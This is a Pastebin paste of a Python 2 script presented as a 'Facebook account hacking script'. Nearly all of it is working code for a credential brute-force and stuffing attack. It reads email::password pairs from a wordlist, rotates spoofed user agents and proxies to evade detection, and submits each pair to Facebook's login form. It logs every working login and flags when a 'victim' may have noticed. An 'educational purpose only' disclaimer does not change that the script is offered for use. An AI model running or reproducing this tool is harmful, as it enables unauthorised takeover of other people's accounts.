ProgrammerOnOFW

Facebook Facebook account hacking script

May 16th, 2018
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Facebook account hacking script, Hope you enjoy!
  2.  
  3. I am not responsible for your actions.
  4.  
  5.  
  6. # FOR EDUCATIONAL PURPOSE ONLY
  7. #!/usr/bin/python
  8. # This is facebook hack tools
  9. # This was written for educational purpose and pentest only. Use it at your own risk.
  10. # Author will not be responsible for any damage !!
  11. # Toolname      : facebookhack.py
  12. # Version       : 1.0
  13. # Date          : Friday Jan  11:41:05 EST
  14. # https://www.facebook.com/groups/anonymousddosers/
  15. #
  16.  
  17.  
  18. import re
  19. import os
  20. import sys
  21. import random
  22. import warnings
  23. import time
  24. try:
  25.         import mechanize
  26. except ImportError:
  27.         print "[*] Please install mechanize python module first"
  28.         sys.exit(1)
  29. except KeyboardInterrupt:
  30.         print "\n[*] Exiting program...\n"
  31.         sys.exit(1)
  32. try:
  33.         import cookielib
  34. except ImportError:
  35.         print "[*] Please install cookielib python module first"
  36.         sys.exit(1)
  37. except KeyboardInterrupt:
  38.         print "\n[*] Exiting program...\n"
  39.         sys.exit(1)
  40.  
  41. warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
  42.  
  43. # define variable
  44. __programmer__  = "mmmuhahaha_ <hehe.haha@gmail.com>"
  45. __version__     = "1.0"
  46. verbose         = False
  47. useproxy        = False
  48. usepassproxy    = False
  49. log             = 'fbhacker.log'
  50. file            = open(log, "a")
  51. success         = 'home_edit_profile'
  52. checkpoint      = 'checkpoint'
  53. oldpass         = 'You entered an old password'
  54. fblogin         = 'https://login.facebook.com/login.php?login_attempt=1'
  55. # some cheating ..
  56. useragent    = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  57.                 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  58.                 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  59.                 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  60.                 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  61.                 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  62.                 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  63.                 'Opera/8.00 (Windows NT 5.1; U; en)',
  64.                 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  65.                 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  66.                 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  67.                 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  68.                 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  69.                 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  70.                 ]
  71. facebook        = '''
  72. __               _                 _
  73. / _|             | |               | |
  74. | |_ __ _  ___ ___| |__   ___   ___ | | __
  75. |  _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /
  76. | || (_| | (_|  __/ |_) | (_) | (_) |   <
  77. |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\
  78.                                      bruteforcer...
  79.  
  80. Programmer : %s
  81. Version    : %s''' % (__programmer__, __version__)
  82. option          = '''
  83. Usage  : %s [options]
  84. Option : -w, --wordlist         <filename>      |   Wordlist used for bruteforcing
  85.       -v, --verbose                          |   Set %s will be verbose
  86.       -p, --proxy            <host:port>     |   Set http proxy will be use
  87.       -k, --usernameproxy    <username>      |   Set username at proxy will be use
  88.       -i, --passproxy        <password>      |   Set password at proxy will be use
  89.       -l, --log              <filename>      |   Specify output filename (default : fbbruteforcer.log)
  90.       -h, --help             <help>          |   Print this help
  91.  
  92. Example : %s -w wordlist.txt"
  93.  
  94. P.S : add "&" to run in the background
  95. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  96. hme             = '''
  97. Usage : %s [option]
  98.     -h or --help for get help
  99.     ''' % sys.argv[0]
  100.  
  101. def helpme():
  102.        print facebook
  103.        print option
  104.        file.write(facebook)
  105.        file.write(option)
  106.        sys.exit(1)
  107.  
  108. def helpmee():
  109.        print facebook
  110.        print hme
  111.        file.write(facebook)
  112.        file.write(hme)
  113.        sys.exit(1)
  114.  
  115. for arg in sys.argv:
  116.        try:
  117.                if arg.lower() == '-u' or arg.lower() == '--user':
  118.                        username = sys.argv[int(sys.argv[1:].index(arg))+2]
  119.                elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  120.                        wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  121.                elif arg.lower() == '-l' or arg.lower() == '--log':
  122.                        log = sys.argv[int(sys.argv[1:].index(arg))+2]
  123.                elif arg.lower() == '-p' or arg.lower() == '--proxy':
  124.                        useproxy = True
  125.                        proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  126.                elif arg.lower() == '-k' or arg.lower() == '--userproxy':
  127.                        usepassproxy = True
  128.                        usw = sys.argv[int(sys.argv[1:].index(arg))+2]
  129.                elif arg.lower() == '-i' or arg.lower() == '--passproxy':
  130.                        usepassproxy = True
  131.                        usp = sys.argv[int(sys.argv[1:].index(arg))+2]
  132.                elif arg.lower() == '-v' or arg.lower() == '--verbose':
  133.                        verbose = True
  134.                elif arg.lower() == '-h' or arg.lower() == '--help':
  135.                        helpme()
  136.                elif len(sys.argv) <= 1:
  137.                        helpmee()
  138.        except IOError:
  139.                helpme()
  140.        except NameError:
  141.                helpme()
  142.        except IndexError:
  143.                helpme()
  144.  
  145. def bruteforce(word):
  146.        try:
  147.                pos = word.find("::")
  148.                userEmail = word[0:pos]
  149.                word = word[pos+len("::"):len(word)]
  150.              
  151.                print("userEmail: " + userEmail )
  152.                print("password: " + word )
  153.                file.write("[*] Trying " + userEmail + "::" + word + "\n" )
  154.                sys.stdout.flush()
  155.                rch = random.choice(useragent)
  156.                br.addheaders = [('User-agent', rch)]
  157.                # print("User Agent: " + rch )
  158.                opensite = br.open(fblogin)
  159.  
  160.                # To show and print all forms name
  161.                # for form in br.forms():
  162.                #      print "Form name:", form.name
  163.                #      print form
  164.  
  165.                # To show all control elements in the form
  166.                # br.form = list(br.forms())[0]
  167.                # for control in br.form.controls:
  168.                #      print control
  169.                #      print "type=%s, name=%s value=%s" % (control.type, control.name, br[control.name])
  170.  
  171.                # To dump cookies data being sent and received
  172.                # dump();
  173.  
  174.                # Release email account from autotext fill
  175.                # If email still auto-filled on login form, this script would not work as expected, so we need to release it
  176.  
  177.                NotMe = "notme_cuid"
  178.                for link in br.links():
  179.                        if (NotMe in link.url):
  180.                                request = br.click_link(link)
  181.                                response = br.follow_link(link)
  182.                                # print response.geturl()
  183.  
  184.                br.select_form(nr=0)
  185.  
  186.                br.form = list(br.forms())[0]
  187.                br.form['email'] = userEmail
  188.                br.form['pass'] = word
  189.                br.submit()
  190.                response = br.response().read()
  191.  
  192.                if verbose:
  193.                        print response
  194.                if success in response:
  195.                        print "\n\n[*] Logging in success..."
  196.                        print "[*] userEmail : %s" % (userEmail)
  197.                        print "[*] Password : %s\n" % (word)
  198.                        file.write("\n[*] Logging in success...")
  199.                        file.write("\n[*] userEmail : %s" % (userEmail))
  200.                        file.write("\n[*] Password : %s\n\n" % (word))
  201.  
  202.                        # After successful login, force to Log Out (to clear the cookies & session - important!)
  203.                        for form in br.forms():
  204.                                if form.attrs['id'] == 'logout_form':
  205.                                        br.form = form
  206.                                        br.submit()
  207.                elif checkpoint in response:
  208.                        print "\n\n[*] Logging in success...but stuck on checkpoint! Victim maybey has been noticed"
  209.                        print "[*] userEmail : %s" % (userEmail)
  210.                        print "[*] Password : %s\n" % (word)
  211.                        file.write("\n[*] Logging in success...but stuck on checkpoint! Victim maybey has been noticed")
  212.                        file.write("\n[*] userEmail : %s" % (userEmail))
  213.                        file.write("\n[*] Password : %s\n\n" % (word))
  214.  
  215.                        # In checkpoint, this account may has been logged in, so we need to Log it Out after successful login
  216.                        LogOut = "logout.php"
  217.                        for link in br.links():
  218.                                if (LogOut in link.url):
  219.                                        request = br.click_link(link)
  220.                                        response = br.follow_link(link)
  221.                                        # print response.geturl()
  222.                                        # print "This account has been logged out"
  223.                                # else:
  224.                                #        print "Can not click Log Out link"
  225.                      
  226.        except KeyboardInterrupt:
  227.                print "\n[*] Exiting program...\n"
  228.                sys.exit(1)
  229.        except mechanize._mechanize.FormNotFoundError:
  230.                print "\n[*] Form Not Found\n"
  231.                file.write("\n[*] Form Not Found\n")
  232.                sys.exit(1)
  233.        except mechanize._form.ControlNotFoundError:
  234.                print "\n[*] Control Not Found\n"
  235.                file.write("\n[*] Control Not Found\n")
  236.                sys.exit(1)
  237.  
  238. # Function to Dump Cookies Data
  239. # def dump():
  240. #       for cookie in cj:
  241. #               print cookie.name, cookie.value
  242.  
  243. def releaser():
  244.        global word
  245.        for word in words:
  246.                bruteforce(word.replace("\n",""))
  247.  
  248. def main():
  249.        global br
  250.        global words
  251.        # Uncomment this variable if you want to enable dump()
  252.        # global cj
  253.        try:
  254.                br = mechanize.Browser()
  255.                cj = cookielib.LWPCookieJar()
  256.                br.set_cookiejar(cj)
  257.                br.set_handle_equiv(True)
  258.                br.set_handle_gzip(True)
  259.                br.set_handle_redirect(True)
  260.                br.set_handle_referer(True)
  261.                br.set_handle_robots(False)
  262.                br.set_debug_http(False)
  263.                br.set_debug_redirects(False)
  264.                br.set_debug_redirects(False)
  265.                br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  266.                if useproxy:
  267.                        br.set_proxies({"http": proxy})
  268.                if usepassproxy:
  269.                        br.add_proxy_password(usw, usp)
  270.                if verbose:
  271.                        br.set_debug_http(True)
  272.                        br.set_debug_redirects(True)
  273.                        br.set_debug_redirects(True)
  274.        except KeyboardInterrupt:
  275.                print "\n[*] Exiting program...\n"
  276.                file.write("\n[*] Exiting program...\n")
  277.                sys.exit(1)
  278.        try:
  279.                preventstrokes = open(wordlist, "r")
  280.                words          = preventstrokes.readlines()
  281.                count          = 0
  282.                while count < len(words):
  283.                        words[count] = words[count].strip()
  284.                        count += 1
  285.        except IOError:
  286.                print "\n[*] Error: Check your wordlist path\n"
  287.                file.write("\n[*] Error: Check your wordlist path\n")
  288.                sys.exit(1)
  289.        except NameError:
  290.                helpme()
  291.        except KeyboardInterrupt:
  292.                print "\n[*] Exiting program...\n"
  293.                file.write("\n[*] Exiting program...\n")
  294.                sys.exit(1)
  295.        try:
  296.                print facebook
  297.                print "\n[*] Starting attack at %s" % time.strftime("%X")
  298.                #print "[*] Account for bruteforcing %s" % (username)
  299.                print "[*] Loaded :",len(words),"words"
  300.                print "[*] Bruteforcing, please wait..."
  301.                file.write(facebook)
  302.                file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
  303.                #file.write("\n[*] Account for bruteforcing %s" % (username))
  304.                file.write("\n[*] Loaded : %d words" % int(len(words)))
  305.                file.write("\n[*] Bruteforcing, please wait...\n")
  306.        except KeyboardInterrupt:
  307.                print "\n[*] Exiting program...\n"
  308.                sys.exit(1)
  309.        try:
  310.                releaser()
  311.                bruteforce(word)
  312.        except NameError:
  313.                helpme()
  314.  
  315. if __name__ == '__main__':
  316.        main()
Add Comment
Please, Sign In to add comment